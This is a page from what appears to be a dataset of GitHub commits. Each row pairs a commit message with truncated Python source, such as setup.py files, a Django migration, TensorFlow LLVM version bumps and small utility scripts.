000a952d38badc8ee245f26e13a5fb38838e68ec | Add datamigration for django-parler-1.0git | ixc/django-fluent-contents,jpotterm/django-fluent-contents,pombredanne/django-fluent-contents,edoburu/django-fluent-contents,edoburu/django-fluent-contents,django-fluent/django-fluent-contents,pombredanne/django-fluent-contents,ixc/django-fluent-contents,jpotterm/django-fluent-contents,jpotterm/django-fluent-contents,e... | fluent_contents/plugins/sharedcontent/migrations/0005_upgrade_to_django_parler10.py | fluent_contents/plugins/sharedcontent/migrations/0005_upgrade_to_django_parler10.py | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# The automatically generated model name was changed, table layout remains the same.
# This migration only u... | apache-2.0 | Python | |
dbcaa9f2cda37269cd5dfca1166394f71bb3adfc | Create Example5.py | cpgoncalves/gameplayer | Example5.py | Example5.py | # Carlos Pedro Gonçalves (2015), Game Theory with Python
# Game Theory and Applied A.I. Classes
# Instituto Superior de Ciências Sociais e Políticas (ISCSP)
# University of Lisbon
# cgoncalves@iscsp.ulisboa.pt
#
# New Entrant vs Market Leader (payoffs correspond to strategic value)
#
# For more details see the user man... | mit | Python | |
f0e1fc1751b20019e87cc50085c1350806b02f9f | Add missing visualizer module | explosion/thinc,explosion/thinc,spacy-io/thinc,spacy-io/thinc,explosion/thinc,spacy-io/thinc,explosion/thinc | thinc/extra/visualizer.py | thinc/extra/visualizer.py | ''' A visualizer module for Thinc '''
import seaborn
import matplotlib.pyplot as plt
def visualize_attention(x, y, weights, layer='Encoder', self_attn=True):
'''
Visualize self/outer attention
Args:
x: sentence
y: sentence
weights: (nH, nL, nL)
'''
def h... | mit | Python | |
0a23dddae52c861ef8f359affc71c082e970c9a5 | Create WhatsApp.py | Ganeshrockz/WhatsApp | WhatsApp.py | WhatsApp.py | from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
import time
# Replace below path with the absolute path
# to chromedriver ... | mit | Python | |
927c9bcb0beab4f8fd6c2003573316906ad9dee3 | add init file | wanghuafeng/spider_tools,wanghuafeng/spider_tools | __init__.py | __init__.py | #!-*- coding:utf-8 -*- | mit | Python | |
1ab69075e39ad52674ffa52b86f64839f24d9016 | Update merge person tool | barberscore/barberscore-api,barberscore/barberscore-api,dbinetti/barberscore-django,dbinetti/barberscore,barberscore/barberscore-api,dbinetti/barberscore-django,dbinetti/barberscore,barberscore/barberscore-api | project/apps/api/management/commands/merge_persons.py | project/apps/api/management/commands/merge_persons.py | from optparse import make_option
from django.core.management.base import (
BaseCommand,
CommandError,
)
from apps.api.models import (
Person,
Singer,
Director,
Arranger,
)
class Command(BaseCommand):
help = "Merge selected singers by name"
option_list = BaseCommand.option_list + (
... | bsd-2-clause | Python | |
fee0bf6ab2fdeab8e81ca3f0381cdcc76454ee28 | Add openai environment viewer | jakejhansen/minesweeper_solver,jakejhansen/minesweeper_solver | openai/environments_viewer.py | openai/environments_viewer.py | import gym
# LunarLanderContinuous-v2
# BipedalWalker-v2
env = gym.make('BipedalWalker-v2')
n_epsiodes = 20
n_timesteps = 100
for i_episode in range(n_epsiodes):
observation = env.reset()
for t in range(n_timesteps):
env.render()
print(observation)
action = env.action_space.sample()
observation, reward, do... | mit | Python | |
17173e7688c7a544678086eb5081051e90b3510b | Make gui.util a package. | MaxOLydian/OctoPrint,JackGavin13/octoprint-test-not-finished,MoonshineSG/OctoPrint,bicephale/OctoPrint,DanLipsitt/OctoPrint,Javierma/OctoPrint-TFG,sstocker46/OctoPrint,Jaesin/OctoPrint,abinashk-inf/AstroBox,abinashk-inf/AstroBox,EZ3-India/EZ-Remote,MoonshineSG/OctoPrint,MolarAmbiguity/OctoPrint,shohei/Octoprint,aericks... | Cura/gui/util/__init__.py | Cura/gui/util/__init__.py | # coding=utf-8
| agpl-3.0 | Python | |
fd03d3c8a032e06ff2a84af48f6d23e3b3365695 | Integrate LLVM at llvm/llvm-project@f011d32c3a62 | Intel-tensorflow/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,tensorflow/tensorflow-pywrap_tf_optimizer,karllessard/tensorflow,Intel-tensorflow/tensorflow,tensorflow/tensorflow-pywrap_saved_model,tensorflow/tensorflow-experimental_link_static_libraries_once,karllessard/tensorflow,Intel-tenso... | third_party/llvm/workspace.bzl | third_party/llvm/workspace.bzl | """Provides the repository macro to import LLVM."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo(name):
"""Imports LLVM."""
LLVM_COMMIT = "f011d32c3a625eb86d1e33a70100b0a031f5fcd4"
LLVM_SHA256 = "b3ec1a2253da80c473df9addacc6ff5b7cfc3a788043a1c59480a93fd0d6fe0e"
tf_http_archive(
... | """Provides the repository macro to import LLVM."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo(name):
"""Imports LLVM."""
LLVM_COMMIT = "3cd5696a33095fe41c8c63f933d239f2c0dbb36e"
LLVM_SHA256 = "5d6e9211f9886586b20fc4c88e9c72833fa686212df82957f3d0b67a5c090d23"
tf_http_archive(
... | apache-2.0 | Python |
8d473ee89ea43e5004b78314c0ca49cde0049980 | Integrate LLVM at llvm/llvm-project@961fd77687d2 | tensorflow/tensorflow-experimental_link_static_libraries_once,yongtang/tensorflow,tensorflow/tensorflow,Intel-tensorflow/tensorflow,yongtang/tensorflow,Intel-tensorflow/tensorflow,tensorflow/tensorflow-pywrap_saved_model,karllessard/tensorflow,tensorflow/tensorflow,tensorflow/tensorflow-experimental_link_static_librari... | third_party/llvm/workspace.bzl | third_party/llvm/workspace.bzl | """Provides the repository macro to import LLVM."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo(name):
"""Imports LLVM."""
LLVM_COMMIT = "961fd77687d27089acf0a09ea29a87fb8ccd7522"
LLVM_SHA256 = "7c225e465ae120daa639ca68339fe7f43796ab08ff0ea893579a067b8f875078"
tf_http_archive(
... | """Provides the repository macro to import LLVM."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo(name):
"""Imports LLVM."""
LLVM_COMMIT = "4004fb6453d9cee1fc0160d6ebac62fa8e898131"
LLVM_SHA256 = "faec068929d9f039b3f65d8f074bfbee4d9bdc0829b50f7848b110f2bf7c3383"
tf_http_archive(
... | apache-2.0 | Python |
0869a26cc061b86b31e7e5144bf90c276fa8c786 | Add numpy_checkwiki.py | pv/pydocweb,pv/pydocweb | numpy_checkwiki.py | numpy_checkwiki.py | #!/usr/bin/env python
import subprocess
import os, shutil, tempfile
from numpy_towiki import *
PATCH = os.path.join(DIR, 'wiki.patch')
def main():
regenerate_base_xml()
os.chdir(DIR)
new_xml = tempfile.NamedTemporaryFile()
if not os.path.isdir(SITE_PTH):
raise RuntimeError("directory %s ... | bsd-3-clause | Python | |
728c4db461bdf22a668436ac25ca1cb9afb80e81 | add argparse01.py | devlights/try-python | trypython/stdlib/argparse01.py | trypython/stdlib/argparse01.py | """
argparse モジュールのサンプルです。
基本的な使い方について。
参考: http://bit.ly/2UXDCIG
"""
import argparse
import sys
from common.commoncls import SampleBase
from common.commonfunc import pr
class Sample(SampleBase):
def exec(self):
#
# argparse モジュールを使う場合の基本は以下の手順
#
# (1) argparse.ArgumentParser オブジ... | mit | Python | |
1fd85ad3741f985eb29aa16b4445ed658b3292d0 | Add existing pyupp.py | fmoo/pyupp | pyupp.py | pyupp.py | """
Read and write unity player preferences data with python
Implementation based on description of .upp files here:
http://answers.unity3d.com/questions/147431/how-can-i-view-a-webplayer-playerprefs-file.html
File structure:
16Byte header
[Saved Prefs]
for each saved pref:
1 byte: length of pre... | apache-2.0 | Python | |
64921ef6d8aafe505efdc30d070c138c741eb38f | Create __init__.py | google/BIG-bench,google/BIG-bench | bigbench/benchmark_tasks/meta_hello_world/__init__.py | bigbench/benchmark_tasks/meta_hello_world/__init__.py | apache-2.0 | Python | ||
d0ef6fbf836e124693ddafe0aeabf61c6b5ce1ae | add reader module | ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study | compiler/eLisp2/eLisp/reader.py | compiler/eLisp2/eLisp/reader.py | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
#
# Copyright (c) 2015 ASMlover. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyrig... | bsd-2-clause | Python | |
ef70a530e9827e96f4984a9c51424cd50b2000cf | Create numbersinlists.py | wdyer0726/CS101 | udacity/numbersinlists.py | udacity/numbersinlists.py | # Numbers in lists by SeanMc from forums
# define a procedure that takes in a string of numbers from 1-9 and
# outputs a list with the following parameters:
# Every number in the string should be inserted into the list.
# If a number x in the string is less than or equal
# to the preceding number y, the number x shoul... | apache-2.0 | Python | |
ba09b09e7315cafa96e162a8186abe14c51c8128 | Add a script to download files from url | qingkaikong/useful_script,qingkaikong/useful_script,qingkaikong/useful_script,qingkaikong/useful_script,qingkaikong/useful_script | python/download_file_from_url.py | python/download_file_from_url.py | import urllib2
'''
Script to download pdf from a url, you need specify the website URL, and change the
filename in the loop, it mostly useful to download a sequence of files with the
filename only differ by a sequence number, e.g. CH1.PDF, CH2.PDF, CH3.PDF ...
'''
def download_file(download_url, output_name):
''... | bsd-3-clause | Python | |
69c01499e92808f2a513e695d09e58f55dcd569b | Update implement-rand10-using-rand7.py | kamyu104/LeetCode,kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,tudennis/LeetCode---kamyu104-11-24-2015,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode | Python/implement-rand10-using-rand7.py | Python/implement-rand10-using-rand7.py | # Time: O(1.189), counted by statistics, limit would be O(log10/log7) = O(1.183)
# Space: O(1)
# Given a function rand7 which generates a uniform random integer in the range 1 to 7,
# write a function rand10 which generates a uniform random integer in the range 1 to 10.
#
# Do NOT use system's Math.random().
#
# Exam... | # Time: O(1.199), counted by statistics, limit would be O(log10/log7) = O(1.183)
# Space: O(1)
# Given a function rand7 which generates a uniform random integer in the range 1 to 7,
# write a function rand10 which generates a uniform random integer in the range 1 to 10.
#
# Do NOT use system's Math.random().
#
# Exam... | mit | Python |
a83282f43fdf87bad8abc63c5a0b41f8c9053a5f | Add setup script | vrtsystems/hszinc,vrtsystems/hszinc | setup.py | setup.py | #!/usr/bin/python
from setuptools import setup
import sys
sys.path.insert(0, 'src')
from hszinc import __version__
setup (name = 'hszinc',
package_dir = {'': 'src'},
version = __version__,
packages = [
'hszinc',
],
)
| bsd-2-clause | Python | |
60f6a83964b70700883121afb7aed22a7ffe7acc | Add setup.py | alanhdu/bfd,AndrewAday/bfd,concord/ml,concord/bfd | setup.py | setup.py | from setuptools import setup
setup(
name='bfd',
version='0.1',
description='ML w/ Concord',
url='https://github.com/adi-labs/bfd',
author='Andrew Aday, Alan Du, Carlos Martin, Dennis Wei',
author_email='alanhdu@gmail.com',
license='Apache',
packages=['bcd', 'data'],
install_requires... | apache-2.0 | Python | |
525e0656f57b67744dfa5529687c5d40d3f43327 | Add address/serializers.py | lkmhaqer/gtools-python,lkmhaqer/gtools-python | address/serializers.py | address/serializers.py | # file: address/serializers.py
from rest_framework import serializers
from address.models import ipv6_address, ipv4_address
class Ipv6AddressSerializer(serializers.ModelSerializer):
class Meta:
model = ipv6_address
fields = ('__all__')
class Ipv6AddressSerializer(serializers.ModelSerializer):
... | mit | Python | |
66bb6c75017eddd952d43e7dc72004a05c9659b1 | add test for kvmha_manager | leilihh/novaha,leilihh/novaha | nova/tests/kvmha/test_kvmha_manager.py | nova/tests/kvmha/test_kvmha_manager.py | #
# KVM HA in OpenStack (Demo Version)
#
# Copyright HP, Corp. 2014
#
# Authors:
# Lei Li <li.lei2@hp.com>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# ht... | apache-2.0 | Python | |
c05210b4557c56e7b7585ec22b27dd0f34f69f09 | add a setup.py to make this a nice official package | sdgdsffdsfff/google-mysql-tools,dbarobin/google-mysql-tools,sdgdsffdsfff/google-mysql-tools,dbarobin/google-mysql-tools,vincentor/google-mysql-tools,vincentor/google-mysql-tools | setup.py | setup.py | #!/usr/bin/python2.4
#
# Copyright 2006 Google Inc. All Rights Reserved.
from distutils.core import setup
setup(name="google-mysql-tools",
description="Google MySQL Tools",
url="http://code.google.com/p/google-mysql-tools",
version="0.1",
packages=["gmt"],
scripts=["mypgrep.py", "compact... | apache-2.0 | Python | |
4a92b178d6fe2138a70e5f4f9833d7697437561b | Add setup.py | imom0/django-plim | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(
name='django_plim',
version='0.0.1',
author='iMom0',
author_email='mobeiheart@gmail.com',
description=('Introduce plim to django'),
license='BSD',
keywords='plim mako django slim',
url='https://github.com/imom0/django-plim',
... | mit | Python | |
ba0e4042e25ec007df5766da16902cbeb55388f4 | add setup.py | kontron/python-hpi | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
def main():
setup(name = 'pyhpi',
version = '1.00',
description = 'Pure python HPI library',
author_email = 'michael.walle@kontron.com',
packages = [ 'pyhpi',
],
)
if __name__ == '__main__':
mai... | lgpl-2.1 | Python | |
63faa61c35aafd658ced61ee95ed857a33eb398b | Add setup.py file | playfire/django-bcrypt | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(
name='django-bcrypt',
description="bcrypt password hash support for Django.",
version='0.1',
url='http://code.playfire.com/django-bcrypt',
author='Playfire.com',
author_email='tech@playfire.com',
license='BSD',
... | bsd-3-clause | Python | |
b97cdbb63923ef3e28bbd329df1afb140f3a349f | add setup.py | wkcn/mobula | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name = 'mobula',
version = '1.0',
description = 'A Lightweight & Flexible Deep Learning (Neural Network) Framework in Python',
author = 'wkcn',
author_email = 'wkcn@live.cn',
url = 'https://github.com/wkcn/mobula',
... | mit | Python | |
0cd5bba6bddbc7b057ff18268e31d7eac50b2d2c | update setup.py | ashgan-dev/mailthon,krysros/mailthon,eugene-eeo/mailthon | setup.py | setup.py | import sys
from setuptools import setup
from setuptools.command.test import test as TestCommand
class PyPackageTest(TestCommand):
def initialize_options(self):
TestCommand.initialize_options(self)
self.pytest_args = ['tests', '--strict', '-s']
def finalize_options(self):
TestCommand.f... | from setuptools import setup
from setuptools.command.test import test as TestCommand
class PyPackageTest(TestCommand):
def initialize_options(self):
TestCommand.initialize_options(self)
self.pytest_args = ['--strict']
def finalize_options(self):
TestCommand.finalize_options(self)
... | mit | Python |
29c2f663556d762167499d23921007f025738188 | update setup.py | TetraEtc/limbo,TetraEtc/limbo,llimllib/limbo,llimllib/limbo | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Thanks to Kenneth Reitz, I stole the template for this
import os
import sys
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
PYTHON3 = sys.version_info[0] > 2
required = ['requests>=2.12', 'websocket-client==0.40.0',
... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Thanks to Kenneth Reitz, I stole the template for this
import os
import sys
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
PYTHON3 = sys.version_info[0] > 2
required = ['requests>=2.9', 'websocket-client==0.35.0',
... | mit | Python |
a6e4f8bf2716eda79a27ec025399b18c76b3356a | Fix url | seatgeek/graphite-pager,seatgeek/graphite-pager,ProsperWorks/graphite-pager,ProsperWorks/graphite-pager | setup.py | setup.py | #!/usr/bin/env python
from graphitepager import __version__
import os
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
def open_file(fname):
return open(os.path.join(os.path.dirname(__file__), fname))
def run_setup():
setup(
name='graphitepager',
... | #!/usr/bin/env python
from graphitepager import __version__
import os
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
def open_file(fname):
return open(os.path.join(os.path.dirname(__file__), fname))
def run_setup():
setup(
name='graphitepager',
... | bsd-2-clause | Python |
b8c739f8befca266544d41d9ace34ae680fe5170 | add setup.py | macrael/webnull | setup.py | setup.py | #!/usr/bin/env python
import os
THIS_DIR = os.path.dirname(os.path.realpath(__file__))
BIN_DIR = os.path.expanduser("~/bin")
def symlink_to_bin():
ln_src = os.path.join(THIS_DIR, "webnull.py")
ln_dest = os.path.join(BIN_DIR, "webnull")
if os.path.isfile(ln_dest):
os.remove(ln_dest)
os.symlink... | bsd-3-clause | Python | |
a03ddd7dc0aa1166e88f71910ece2cd909d7b6c7 | Add setup.py to executably document package requirements | mozilla/remoteobjects,alex/remoteobjects | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(
name='remoteobjects',
version='1.0',
description='an Object RESTational Model',
packages=['remoteobjects'],
package_dir={'remoteobjects': '.'},
install_requires=['simplejson>=2.0.0', 'httplib2>=0.4.0'],
provides=['remoteobjects'],
... | bsd-3-clause | Python | |
7046a54abc31ecc919c628bd197600ac09437989 | Make dependency versions consistent. | cloudendpoints/endpoints-python,inklesspen/endpoints-python,cloudendpoints/endpoints-python,inklesspen/endpoints-python | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0... | apache-2.0 | Python |
6d0f54db9654ffa02accb5c557e4d4a5952d0ba0 | Add a setup.py | SS-RD/pkgcmp | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Import python libs
import os
import sys
if 'USE_SETUPTOOLS' in os.environ or 'setuptools' in sys.modules:
from setuptools import setup
else:
from distutils.core import setup
NAME = 'pkgcmp'
DESC = ('Automate the creation of a normalized cross distribution packa... | apache-2.0 | Python | |
9aabb59303d59287f1f29119a03c979ca0aeaefc | Bump version number to 0.10.1 | zardus/idalink,rhelmot/idalink,rhelmot/idalink | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name='idalink',
description='An interface to the insides of IDA!',
long_description=open('README.md').read(),
version='0.10.1',
url='https://github.com/zardus/idalink',
license='GNU General Public License v3',
packages=find_packages(),
... | from setuptools import setup, find_packages
setup(
name='idalink',
description='An interface to the insides of IDA!',
long_description=open('README.md').read(),
version='0.10',
url='https://github.com/zardus/idalink',
license='GNU General Public License v3',
packages=find_packages(),
pa... | bsd-2-clause | Python |
2894db47391d055978a0bbde485fd06ce59a4fa1 | Add setup.py for the project's package management | anirbanroydas/ci-testing-python,anirbanroydas/ci-testing-python,anirbanroydas/ci-testing-python | setup.py | setup.py | # !/usr/bin/env python
#
# setup.py script
#
# copyright 2016 anirban roy das <anirban.nick@gmail.com>
#
#
# Always prefer setuptools over distutils
from setuptools import setup
# To use a consistent encoding
import codecs
import os
# ############## general config ##############
NAME = "ci_testing_python"
VERSION... | mit | Python | |
72e907ade08aa92f2a816c7a1d6511d125204dbc | Update package description | erichonkanen/django-rest-framework-jwt,coUrbanize/django-rest-framework-jwt,chrisjones-brack3t/django-rest-framework-jwt,GetBlimp/django-rest-framework-jwt,ayarshabeer/django-rest-framework-jwt,vvangelovski/django-rest-framework-jwt,vforgione/django-rest-framework-jwt,blaklites/django-rest-framework-jwt,sandipbgt/djang... | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup
import re
import os
import sys
name = 'djangorestframework-jwt'
package = 'rest_framework_jwt'
description = 'JSON Web Token based authentication for Django REST framework'
url = 'https://github.com/GetBlimp/django-rest-framework-jwt'
author ... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup
import re
import os
import sys
name = 'djangorestframework-jwt'
package = 'rest_framework_jwt'
description = ''
url = 'https://github.com/GetBlimp/django-rest-framework-jwt'
author = 'Jose Padilla'
author_email = 'jpadilla@getblimp.com'
licen... | mit | Python |
4646873ec80076759c02deac7ff3c50665e31415 | Update the PyPI version to 0.2.12 | Doist/todoist-python,electronick1/todoist-python | setup.py | setup.py | # -*- coding: utf-8 -*-
import os
from setuptools import setup
def read(fname):
try:
return open(os.path.join(os.path.dirname(__file__), fname)).read()
except:
return ''
setup(
name='todoist-python',
version='0.2.12',
packages=['todoist', 'todoist.managers'],
author='Doist Team... | # -*- coding: utf-8 -*-
import os
from setuptools import setup
def read(fname):
try:
return open(os.path.join(os.path.dirname(__file__), fname)).read()
except:
return ''
setup(
name='todoist-python',
version='0.2.11',
packages=['todoist', 'todoist.managers'],
author='Doist Team... | mit | Python |
7efc61175c540a56b03e829ec917ce9efc1f06f9 | Fix incorrect get_link_flags on Mac | frreiss/tensorflow-fred,aldian/tensorflow,gautam1858/tensorflow,paolodedios/tensorflow,petewarden/tensorflow,petewarden/tensorflow,ppwwyyxx/tensorflow,renyi533/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,yongtang/tensorflow,gunan/tensorflow,chemelnucfin/tensorflow,gunan/tensorflow,tensorflo... | tensorflow/python/platform/sysconfig.py | tensorflow/python/platform/sysconfig.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | apache-2.0 | Python |
14a96a82209f21ca468a4f765c514ffd68f30f31 | add my little test script, 'cuz why not | kongr45gpen/bzflag-import-1,kongr45gpen/bzflag-import-1,kongr45gpen/bzflag-import-1,kongr45gpen/bzflag-import-1,kongr45gpen/bzflag-import-1,kongr45gpen/bzflag-import-1 | plugins/python/test.py | plugins/python/test.py | #!/usr/bin/env python
#
# Copyright (C) 2005 David Trowbridge
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This... | lgpl-2.1 | Python | |
d22abe4ede958779a64c190bdd54451253eb2778 | Add to model only if part of bunsen xxx | Iktwo/bunsen-scrapper | bunsenscrapper/spiders/bunsen.py | bunsenscrapper/spiders/bunsen.py | # -*- coding: utf-8 -*-
import scrapy
from bunsenscrapper.items import BunsenscrapperItem
from scrapy.http.request import Request
class BunsenSpider(scrapy.Spider):
name = "bunsen"
allowed_domains = ["bunsencomics.com"]
start_urls = (
'http://www.bunsencomics.com/?category=Bunsen+C%C3%B3mics',
... | # -*- coding: utf-8 -*-
import scrapy
from bunsenscrapper.items import BunsenscrapperItem
from scrapy.http.request import Request
class BunsenSpider(scrapy.Spider):
name = "bunsen"
allowed_domains = ["bunsencomics.com"]
start_urls = (
'http://www.bunsencomics.com/?category=Bunsen+C%C3%B3mics',
... | unlicense | Python |
23df7b77cde8b5351cf2902b8b11ee07e4b478f4 | Add a basic smoke test to check for exceptions and programming errors. | BitokuOokami/PloungeMafiaToolkit | tests/smoke_test.py | tests/smoke_test.py | # -*- coding: utf-8 -*-
import unittest
import sys
sys.path.insert(0, '../mafia')
from game import Game
from game import Player
class TestMessenger:
def message_all_players(self, message: str):
print ('public: {message}'.format(message=message))
def message_player(self, player, message: str):
... | mit | Python | |
a1f1efe712205b3bd4702a7ae3d06aa3171ad32f | add missing file... | chubbymaggie/angr,schieb/angr,axt/angr,axt/angr,angr/angr,tyb0807/angr,iamahuman/angr,iamahuman/angr,axt/angr,chubbymaggie/angr,chubbymaggie/simuvex,f-prettyland/angr,schieb/angr,tyb0807/angr,tyb0807/angr,angr/simuvex,chubbymaggie/angr,chubbymaggie/simuvex,f-prettyland/angr,chubbymaggie/simuvex,iamahuman/angr,schieb/an... | simuvex/plugins/uc_manager.py | simuvex/plugins/uc_manager.py |
import logging
l = logging.getLogger('simuvex.plugins.uc_manager')
from .plugin import SimStatePlugin
class SimUCManager(SimStatePlugin):
def __init__(self, man=None):
SimStatePlugin.__init__(self)
if man:
self._uc_region_base = man._uc_region_base
self._uc_pos = man._uc... | bsd-2-clause | Python | |
e33ce5f613c2a7bb9c2c42fba695ee37d3bb66ce | Add integration tests | PoprostuRonin/memes-api | tests/test_flask.py | tests/test_flask.py | from main import app
import pytest
import json
@pytest.fixture
def client():
client = app.test_client()
yield client
sites = [
"/kwejk",
"/jbzd",
"/9gag",
"/9gagnsfw",
"/demotywatory",
"/mistrzowie",
"/anonimowe",
]
# This test could fail if the site changes it's schema or is ... | mit | Python | |
36a85fac06fd1bfe6934883f98b60edcbf3814be | Add test for scuba.utils.format_cmdline() | JonathonReinhart/scuba,JonathonReinhart/scuba,JonathonReinhart/scuba | tests/test_utils.py | tests/test_utils.py | from __future__ import print_function
from nose.tools import *
from unittest import TestCase
import logging
import shlex
from itertools import chain
from .utils import *
import scuba.utils
class TestUtils(TestCase):
def _parse_cmdline(self, cmdline):
# Strip the formatting and whitespace
line... | mit | Python | |
424db0df3c8be8538d551bd6974a8eccee6e53cc | add tenki.py | mii012345/deep-learning | tenki.py | tenki.py | import urllib.request
import sys
import numpy as np
url="http://weather.is.kochi-u.ac.jp/sat/gms.fareast/"
a=1
b=0
x = input("Please Enter Year You Want: ")
y = input("And Enter Folder You Save File: ") + "/"
c=[]
for ii in range(1,13):
for i in range(1,32):
if i<10:
url="http://we... | mit | Python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.